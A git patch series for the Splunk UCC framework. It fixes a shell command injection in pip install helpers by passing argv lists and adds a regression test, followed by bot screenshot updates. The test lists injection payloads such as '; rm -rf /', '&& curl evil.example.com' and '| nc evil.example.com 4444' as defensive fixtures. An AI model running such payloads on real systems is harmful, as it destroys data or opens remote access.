From af1969fe8a825f202c5faec3f1674f2df061838f Mon Sep 17 00:00:00 2001 From: kkedziak-splunk Date: Tue, 30 Jun 2026 11:24:42 +0200 Subject: [PATCH 1/6] fix(security): prevent OS command injection in os-dependentLibraries (VULN-87310) `install_python_libraries.py` interpolated `os-dependentLibraries[]` fields (`platform`, `python_version`, `name`, `version`, `target`) from `globalConfig.json` directly into a `pip` command string that was then run with `subprocess.run(..., shell=True)`. An attacker who could influence `globalConfig.json` (e.g. via a pull request to an add-on repo whose CI runs `ucc-gen build`, or via a malicious third-party add-on) could execute arbitrary commands on the build host. Refactor every helper that invokes `subprocess.run` to pass an argv `list[str]` without `shell=True`. Values from `globalConfig.json` are now passed as discrete argv tokens, so shell metacharacters in any of them cannot break out of the intended command. A parametrised regression test asserts that no call uses `shell=True` and that injected payloads survive as literal argv tokens for every injectable field and a representative set of shell metacharacters. Co-Authored-By: Claude --- .../install_python_libraries.py | 85 +++-- tests/unit/test_install_python_libraries.py | 305 +++++++++++++----- 2 files changed, 285 insertions(+), 105 deletions(-) diff --git a/splunk_add_on_ucc_framework/install_python_libraries.py b/splunk_add_on_ucc_framework/install_python_libraries.py index 1bbbc38af..b475a652d 100644 --- a/splunk_add_on_ucc_framework/install_python_libraries.py +++ b/splunk_add_on_ucc_framework/install_python_libraries.py @@ -18,6 +18,7 @@ import logging import os import re +import shlex import stat import subprocess import sys @@ -57,16 +58,17 @@ class InvalidArguments(Exception): def _subprocess_run( - command: str, + command: list[str], command_desc: Optional[str] = None, env: Optional[dict[str, str]] = None, ) -> "subprocess.CompletedProcess[bytes]": - command_desc = command_desc or command + # `shell=False` (the default for a list argument) is required to prevent + # command injection via values that originate from globalConfig.json + # (see VULN-87310). Callers MUST pass an argv list, never a shell string. + command_desc = command_desc or shlex.join(command) try: - logger.info(f"Executing: {command}") - process_result = subprocess.run( - command, shell=True, env=env, capture_output=True - ) + logger.info(f"Executing: {shlex.join(command)}") + process_result = subprocess.run(command, env=env, capture_output=True) return_code = process_result.returncode if return_code < 0: logger.error( @@ -80,8 +82,8 @@ def _subprocess_run( raise e -def _pip_install(installer: str, command: str, command_desc: str) -> None: - cmd = f"{installer} -m pip install {command}" +def _pip_install(installer: str, command: list[str], command_desc: str) -> None: + cmd = [installer, "-m", "pip", "install", *command] try: subprocess_result = _subprocess_run(command=cmd, command_desc=command_desc) return_code = subprocess_result.returncode @@ -103,7 +105,7 @@ def _pip_is_lib_installed( "Parameter 'allow_higher_version' can not be set to True if 'version' parameter is not provided" ) - lib_installed_cmd = f"{installer} -m pip show --version {libname}" + lib_installed_cmd = [installer, "-m", "pip", "show", "--version", libname] try: my_env = os.environ.copy() @@ -297,9 +299,9 @@ def install_libraries( """ if pip_version == "latest": - pip_update_command = "--upgrade pip" + pip_update_command = ["--upgrade", "pip"] else: - pip_update_command = f"--upgrade pip=={pip_version.strip()}" + pip_update_command = ["--upgrade", f"pip=={pip_version.strip()}"] if pip_version.strip() == "23.2" and pip_legacy_resolver: logger.error( @@ -309,18 +311,19 @@ def install_libraries( ) sys.exit(1) - deps_resolver = "--use-deprecated=legacy-resolver " if pip_legacy_resolver else "" - custom_flag = ( - pip_custom_flag - if pip_custom_flag - else "--no-compile --prefer-binary --ignore-installed " - ) - pip_install_command = ( - f'-r "{requirements_file_path}" ' - f"{deps_resolver}" - f'--target "{installation_path}" ' - f"{custom_flag}" - ) + pip_install_command: list[str] = ["-r", requirements_file_path] + if pip_legacy_resolver: + pip_install_command.append("--use-deprecated=legacy-resolver") + pip_install_command.extend(["--target", installation_path]) + if pip_custom_flag: + # `pip_custom_flag` is a user-supplied flag string from `ucc-gen build` + # (trusted CLI input, not from globalConfig.json). Parse with shlex so + # multi-flag strings still produce a clean argv list. + pip_install_command.extend(shlex.split(pip_custom_flag)) + else: + pip_install_command.extend( + ["--no-compile", "--prefer-binary", "--ignore-installed"] + ) try: _pip_install( installer=installer, command=pip_update_command, command_desc="pip upgrade" @@ -495,16 +498,34 @@ def install_os_dependent_libraries( if not os.path.exists(target_path): os.makedirs(target_path) - pip_download_command = ( - f"{os_lib.deps_flag} " - f"--no-compile " - f"--platform {os_lib.platform} " - f"--python-version {os_lib.python_version} " - f"--target {target_path}" - f" --only-binary=:all: " - f"{os_lib.name}=={os_lib.version} " - f"{os_lib.ignore_requires_python} " + # Build the pip argv as a list so that values from `globalConfig.json` + # (`os_lib.platform`, `python_version`, `name`, `version`, `target`) are + # passed as discrete argv tokens. `_subprocess_run` invokes + # `subprocess.run` without `shell=True`, so shell metacharacters in any + # of these fields cannot break out into the host shell (VULN-87310). + pip_download_command: list[str] = [] + if os_lib.deps_flag: + pip_download_command.append(os_lib.deps_flag) + pip_download_command.extend( + [ + "--no-compile", + "--platform", + os_lib.platform, + "--python-version", + os_lib.python_version, + "--target", + target_path, + "--only-binary=:all:", + f"{os_lib.name}=={os_lib.version}", + ] ) + # `ignore_requires_python` is declared `bool` on the dataclass but + # `OSDependentLibraryConfig.from_dict` rewrites it to "" or the literal + # flag string `--ignore-requires-python`. Cast to str so the value + # composes cleanly with the argv list. + ignore_requires_python_flag = str(os_lib.ignore_requires_python) + if ignore_requires_python_flag: + pip_download_command.append(ignore_requires_python_flag) try: _pip_install( diff --git a/tests/unit/test_install_python_libraries.py b/tests/unit/test_install_python_libraries.py index a4bbd064c..b966f7397 100644 --- a/tests/unit/test_install_python_libraries.py +++ b/tests/unit/test_install_python_libraries.py @@ -22,6 +22,7 @@ CouldNotInstallRequirements, SplunktaucclibNotFound, install_libraries, + install_os_dependent_libraries, install_python_libraries, remove_execute_bit, remove_packages, @@ -116,20 +117,31 @@ def test_install_libraries(mock_subprocess_run): "python3", ) - expected_install_command = ( - 'python3 -m pip install -r "package/lib/requirements.txt"' - ' --target "/path/to/output/addon_name/lib" ' - "--no-compile --prefer-binary --ignore-installed " - ) - expected_pip_update_command = "python3 -m pip install --upgrade pip" + expected_install_command = [ + "python3", + "-m", + "pip", + "install", + "-r", + "package/lib/requirements.txt", + "--target", + "/path/to/output/addon_name/lib", + "--no-compile", + "--prefer-binary", + "--ignore-installed", + ] + expected_pip_update_command = [ + "python3", + "-m", + "pip", + "install", + "--upgrade", + "pip", + ] mock_subprocess_run.assert_has_calls( [ - mock.call( - expected_pip_update_command, shell=True, env=None, capture_output=True - ), - mock.call( - expected_install_command, shell=True, env=None, capture_output=True - ), + mock.call(expected_pip_update_command, env=None, capture_output=True), + mock.call(expected_install_command, env=None, capture_output=True), ] ) @@ -497,17 +509,17 @@ def test_install_libraries_valid_os_libraries( "--platform win_amd64 " "--python-version 37 " f"--target {tmp_ucc_lib_target}/3rdparty/windows " - "--only-binary=:all: cryptography==41.0.5 \nINFO" + "--only-binary=:all: cryptography==41.0.5" ) log_message_expected_2 = ( - "python3 -m pip install " + "python3 -m pip install " "--no-compile " "--platform manylinux2014_x86_64 " "--python-version 37 " f"--target {tmp_ucc_lib_target}/3rdparty/linux " "--only-binary=:all: cryptography==41.0.5 " - "--ignore-requires-python " + "--ignore-requires-python" ) log_message_expected_3 = ( @@ -517,7 +529,7 @@ def test_install_libraries_valid_os_libraries( "--platform macosx_10_12_universal2 " "--python-version 37 " f"--target {tmp_ucc_lib_target}/3rdparty/darwin " - "--only-binary=:all: cryptography==41.0.5 \nINFO" + "--only-binary=:all: cryptography==41.0.5" ) assert log_message_expected_1 in caplog.text @@ -564,14 +576,18 @@ def test_install_libraries_version_mismatch( tmp_lib_reqs_file = tmp_lib_path / "requirements.txt" tmp_lib_reqs_file.write_text("splunktaucclib\n") - version_mismatch_shell_cmd = "python3 -m pip show --version cryptography" - mock_subprocess_run.side_effect = ( - lambda command, shell=True, env=None, capture_output=True: ( - MockSubprocessResult(1) - if command == version_mismatch_shell_cmd - and ucc_lib_target == env["PYTHONPATH"] - else MockSubprocessResult(0, b"Version: 40.0.0") - ) + version_mismatch_cmd = [ + "python3", + "-m", + "pip", + "show", + "--version", + "cryptography", + ] + mock_subprocess_run.side_effect = lambda command, env=None, capture_output=True: ( + MockSubprocessResult(1) + if command == version_mismatch_cmd and ucc_lib_target == env["PYTHONPATH"] + else MockSubprocessResult(0, b"Version: 40.0.0") ) with pytest.raises(CouldNotInstallRequirements): @@ -583,7 +599,7 @@ def test_install_libraries_version_mismatch( ) version_mismatch_log = ( - f"Command ({version_mismatch_shell_cmd}) returned 1 status code" + f"Command ({' '.join(version_mismatch_cmd)}) returned 1 status code" ) error_description = """ OS dependent library cryptography = 41.0.5 SHOULD be defined in requirements.txt. @@ -609,20 +625,31 @@ def test_install_libraries_custom_pip(mock_subprocess_run): pip_version="21.666.666", ) - expected_install_command = ( - 'python3 -m pip install -r "package/lib/requirements.txt"' - ' --target "/path/to/output/addon_name/lib" ' - "--no-compile --prefer-binary --ignore-installed " - ) - expected_pip_update_command = "python3 -m pip install --upgrade pip==21.666.666" + expected_install_command = [ + "python3", + "-m", + "pip", + "install", + "-r", + "package/lib/requirements.txt", + "--target", + "/path/to/output/addon_name/lib", + "--no-compile", + "--prefer-binary", + "--ignore-installed", + ] + expected_pip_update_command = [ + "python3", + "-m", + "pip", + "install", + "--upgrade", + "pip==21.666.666", + ] mock_subprocess_run.assert_has_calls( [ - mock.call( - expected_pip_update_command, shell=True, env=None, capture_output=True - ), - mock.call( - expected_install_command, shell=True, env=None, capture_output=True - ), + mock.call(expected_pip_update_command, env=None, capture_output=True), + mock.call(expected_install_command, env=None, capture_output=True), ] ) @@ -638,20 +665,32 @@ def test_install_libraries_legacy_resolver(mock_subprocess_run): pip_legacy_resolver=True, ) - expected_install_command = ( - 'python3 -m pip install -r "package/lib/requirements.txt"' - ' --use-deprecated=legacy-resolver --target "/path/to/output/addon_name/lib" ' - "--no-compile --prefer-binary --ignore-installed " - ) - expected_pip_update_command = "python3 -m pip install --upgrade pip" + expected_install_command = [ + "python3", + "-m", + "pip", + "install", + "-r", + "package/lib/requirements.txt", + "--use-deprecated=legacy-resolver", + "--target", + "/path/to/output/addon_name/lib", + "--no-compile", + "--prefer-binary", + "--ignore-installed", + ] + expected_pip_update_command = [ + "python3", + "-m", + "pip", + "install", + "--upgrade", + "pip", + ] mock_subprocess_run.assert_has_calls( [ - mock.call( - expected_pip_update_command, shell=True, env=None, capture_output=True - ), - mock.call( - expected_install_command, shell=True, env=None, capture_output=True - ), + mock.call(expected_pip_update_command, env=None, capture_output=True), + mock.call(expected_install_command, env=None, capture_output=True), ] ) @@ -711,7 +750,7 @@ def test_is_pip_lib_installed_do_not_write_bytecode(monkeypatch): Result = namedtuple("Result", ["returncode", "stdout", "stderr"]) def run(command, env): - assert command == "python3 -m pip show --version libname" + assert command == ["python3", "-m", "pip", "show", "--version", "libname"] assert env["PYTHONPATH"] == "target" assert env["PYTHONDONTWRITEBYTECODE"] == "1" return Result(0, b"Version: 1.0.0", b"") @@ -731,19 +770,30 @@ def test_install_libraries_pip_custom_flag(mock_subprocess_run): pip_custom_flag="--report path/to/json.json", ) - expected_install_command = ( - 'python3 -m pip install -r "package/lib/requirements.txt"' - ' --target "/path/to/output/addon_name/lib" --report path/to/json.json' - ) - expected_pip_update_command = "python3 -m pip install --upgrade pip" + expected_install_command = [ + "python3", + "-m", + "pip", + "install", + "-r", + "package/lib/requirements.txt", + "--target", + "/path/to/output/addon_name/lib", + "--report", + "path/to/json.json", + ] + expected_pip_update_command = [ + "python3", + "-m", + "pip", + "install", + "--upgrade", + "pip", + ] mock_subprocess_run.assert_has_calls( [ - mock.call( - expected_pip_update_command, shell=True, env=None, capture_output=True - ), - mock.call( - expected_install_command, shell=True, env=None, capture_output=True - ), + mock.call(expected_pip_update_command, env=None, capture_output=True), + mock.call(expected_install_command, env=None, capture_output=True), ] ) @@ -760,20 +810,36 @@ def test_install_libraries_multiple_pip_custom_flags(mock_subprocess_run): "--report path/to/json.json --progress-bar on --require-hashes", ) - expected_install_command = ( - 'python3 -m pip install -r "package/lib/requirements.txt"' - ' --target "/path/to/output/addon_name/lib" --no-compile --prefer-binary --ignore-installed ' - "--report path/to/json.json --progress-bar on --require-hashes" - ) - expected_pip_update_command = "python3 -m pip install --upgrade pip" + expected_install_command = [ + "python3", + "-m", + "pip", + "install", + "-r", + "package/lib/requirements.txt", + "--target", + "/path/to/output/addon_name/lib", + "--no-compile", + "--prefer-binary", + "--ignore-installed", + "--report", + "path/to/json.json", + "--progress-bar", + "on", + "--require-hashes", + ] + expected_pip_update_command = [ + "python3", + "-m", + "pip", + "install", + "--upgrade", + "pip", + ] mock_subprocess_run.assert_has_calls( [ - mock.call( - expected_pip_update_command, shell=True, env=None, capture_output=True - ), - mock.call( - expected_install_command, shell=True, env=None, capture_output=True - ), + mock.call(expected_pip_update_command, env=None, capture_output=True), + mock.call(expected_install_command, env=None, capture_output=True), ] ) @@ -911,3 +977,96 @@ def test_install_python_libraries_no_mocks_with_excludes(tmp_path, packages): assert glob.glob(f"{target}/pkg_1_plus_2/test_pkg_1") assert not glob.glob(f"{target}/pkg_1_plus_2/test_pkg_2") + + +# VULN-87310 regression: any of the `os-dependentLibraries[]` fields can carry +# arbitrary characters, and the install pipeline must never execute them through +# a shell. We assert: (1) subprocess.run is called with an argv list and without +# `shell=True`, (2) injected shell metacharacters survive as literal argv tokens. +@pytest.mark.parametrize( + "injection", + [ + "$(id > /tmp/UCC_PWNED)", + "`id > /tmp/UCC_PWNED`", + "; rm -rf /", + "&& curl evil.example.com", + "| nc evil.example.com 4444", + "> /tmp/owned", + "$IFS$9id", + "'; touch /tmp/x; '", + ], +) +@pytest.mark.parametrize( + "injected_field", + ["platform", "python_version", "name", "version", "target"], +) +@mock.patch("subprocess.run", autospec=True) +def test_install_os_dependent_libraries_does_not_invoke_shell( + mock_subprocess_run, + os_dependent_library_config, + injected_field, + injection, + tmp_path, +): + mock_subprocess_run.return_value = MockSubprocessResult(0, b"Version: 1.0.0") + + fields = { + "name": "cryptography", + "version": "41.0.5", + "platform": "manylinux2014_x86_64", + "python_version": "37", + "target": "3rdparty/linux", + } + fields[injected_field] = injection + + lib = OSDependentLibraryConfig( + name=fields["name"], + version=fields["version"], + platform=fields["platform"], + python_version=fields["python_version"], + target=fields["target"], + os="linux", + deps_flag="", + dependencies=True, + ) + + install_os_dependent_libraries( + ucc_lib_target=str(tmp_path), + installer="python3", + os_libraries=[lib], + ) + + # 1. No call may pass `shell=True` (the sink that VULN-87310 exploited). + for call in mock_subprocess_run.call_args_list: + assert ( + call.kwargs.get("shell", False) is False + ), f"subprocess.run called with shell=True for {call}" + + # 2. Every command must be an argv list, and the injected value must appear + # as a single literal token rather than being interpreted by a shell. + pip_calls = [ + c + for c in mock_subprocess_run.call_args_list + if isinstance(c.args[0], list) and "install" in c.args[0] + ] + assert pip_calls, "expected at least one pip install argv call" + download_call = pip_calls[-1] + argv = download_call.args[0] + assert isinstance(argv, list) + if injected_field == "name": + assert f"{injection}=={fields['version']}" in argv + elif injected_field == "version": + assert f"{fields['name']}=={injection}" in argv + elif injected_field == "target": + # `target_path` is normalized by `os.path.normpath` and joined under + # `ucc_lib_target` (which may strip trailing separators), so we check + # that some argv token contains a recognizable substring of the + # injection — confirming it survived as a single literal token rather + # than being split or evaluated by a shell. + injection_normalized = os.path.normpath(injection).strip("/").strip(".") + marker = injection_normalized or injection.strip() + assert any( + marker in token for token in argv + ), f"injection marker {marker!r} not found in argv {argv!r}" + else: + assert injection in argv From 822d83c4ca0f6423fcff7cdaf54f462670664598 Mon Sep 17 00:00:00 2001 From: srv-rr-github-token <94607705+srv-rr-github-token@users.noreply.github.com> Date: Tue, 30 Jun 2026 09:28:23 +0000 Subject: [PATCH 2/6] update screenshots --- .../__images__/DashboardPage-dashboard-page-view-chromium.png | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png b/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png index 8e797f416..5f4ad657f 100644 --- a/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png +++ b/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:cba4afee39eeec7b20c18014de5477bd84012b52f7fb29be0538ad69c748d5d7 -size 74290 +oid sha256:eb6603e19f2fcdb2d6480f79927af08a77158c52e73ed5d1e213dc7b24db2566 +size 71540 From 9e969a7373ad9388f9804fd32f0efe7667c43902 Mon Sep 17 00:00:00 2001 From: srv-rr-github-token <94607705+srv-rr-github-token@users.noreply.github.com> Date: Tue, 30 Jun 2026 11:12:05 +0000 Subject: [PATCH 3/6] update screenshots --- .../__images__/DashboardPage-dashboard-page-view-chromium.png | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png b/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png index 5f4ad657f..dc7419d93 100644 --- a/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png +++ b/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:eb6603e19f2fcdb2d6480f79927af08a77158c52e73ed5d1e213dc7b24db2566 -size 71540 +oid sha256:5f178905f38692c71ee53968de19d942173c5d40837467a8db61e7a8ee3626c5 +size 71259 From fda1818d6ccbb3bcbd734b111158259e61f0805f Mon Sep 17 00:00:00 2001 From: srv-rr-github-token <94607705+srv-rr-github-token@users.noreply.github.com> Date: Tue, 30 Jun 2026 11:29:41 +0000 Subject: [PATCH 4/6] update screenshots --- .../__images__/DashboardPage-dashboard-page-view-chromium.png | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png b/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png index dc7419d93..8e797f416 100644 --- a/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png +++ b/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:5f178905f38692c71ee53968de19d942173c5d40837467a8db61e7a8ee3626c5 -size 71259 +oid sha256:cba4afee39eeec7b20c18014de5477bd84012b52f7fb29be0538ad69c748d5d7 +size 74290 From 3f6816e113b5f751c9cfb12075516c9bb799f120 Mon Sep 17 00:00:00 2001 From: srv-rr-github-token <94607705+srv-rr-github-token@users.noreply.github.com> Date: Wed, 1 Jul 2026 06:25:02 +0000 Subject: [PATCH 5/6] update screenshots --- .../__images__/DashboardPage-dashboard-page-view-chromium.png | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png b/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png index 8e797f416..dc7419d93 100644 --- a/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png +++ b/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:cba4afee39eeec7b20c18014de5477bd84012b52f7fb29be0538ad69c748d5d7 -size 74290 +oid sha256:5f178905f38692c71ee53968de19d942173c5d40837467a8db61e7a8ee3626c5 +size 71259 From 09a4c487e342bd61b5ad89f18b96003b4d0a1192 Mon Sep 17 00:00:00 2001 From: srv-rr-github-token <94607705+srv-rr-github-token@users.noreply.github.com> Date: Wed, 1 Jul 2026 07:43:35 +0000 Subject: [PATCH 6/6] update screenshots --- .../__images__/DashboardPage-dashboard-page-view-chromium.png | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png b/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png index dc7419d93..c92dc7494 100644 --- a/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png +++ b/ui/src/pages/Dashboard/stories/__images__/DashboardPage-dashboard-page-view-chromium.png @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:5f178905f38692c71ee53968de19d942173c5d40837467a8db61e7a8ee3626c5 -size 71259 +oid sha256:21e43dce8e4c75465949ac3cf6330a9b9291c18cfb1e26656818f8ba3192814a +size 74283